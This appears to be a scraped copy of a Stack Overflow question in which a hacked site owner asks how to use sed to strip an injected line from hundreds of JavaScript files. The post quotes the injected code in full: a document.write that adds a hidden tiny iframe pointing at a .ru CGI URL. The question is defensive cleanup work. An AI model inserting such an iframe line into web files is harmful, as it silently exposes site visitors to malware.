Using sed to delete string
Posted
by
wired
on Stack Overflow
See other posts from Stack Overflow
or by wired
Published on 2012-11-11T04:56:41Z
Indexed on
2012/11/11
5:00 UTC
Read the original article
Hit count: 81
sed
I was hacked and have hundreds of .js files with this line of code that I'm trying to get rid of:
;document.write('<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>');
It is the last line of the file, but I think the file contains windows line endings, because when ever I do this:
sed -i '/sitecorporatemanagement.ru/d' *
it deletes the full content of the file. Can you help me get this to work? I just need that full string deleted.
Thank you for all the help you can give.
© Stack Overflow or respective owner